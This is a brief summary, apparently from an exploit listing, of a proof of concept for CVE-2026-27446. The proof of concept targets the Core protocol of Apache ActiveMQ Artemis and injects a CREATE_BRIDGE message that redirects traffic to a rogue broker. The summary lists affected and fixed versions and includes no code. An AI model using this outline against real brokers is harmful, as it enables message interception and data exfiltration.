    [+] Summary    : PoC CVE-2026-27446 targeting the Core protocol of Apache ActiveMQ Artemis on its default port 61616.
    
    The code:
    
    Establishes a raw TCP connection to the target broker.
    
    Sends a minimal ARTEMIS handshake to verify Core protocol support.
    
    Attempts to inject a simplified CREATE_BRIDGE control message that redirects traffic to a rogue broker.
    
    If the broker is misconfigured (e.g., security disabled or management permissions improperly restricted), an attacker could potentially create a bridge without authentication, resulting in:
    
    Message interception
    
    Traffic redirection
    
    Data exfiltration
    
    Broker trust abuse
    
    [+] Affected Versions
    
    Apache Artemis: 2.50.0 → 2.51.0
    
    Apache ActiveMQ Artemis: 2.11.0 → 2.44.0
    
    [+] Fixed in: Apache Artemis 2.52.0
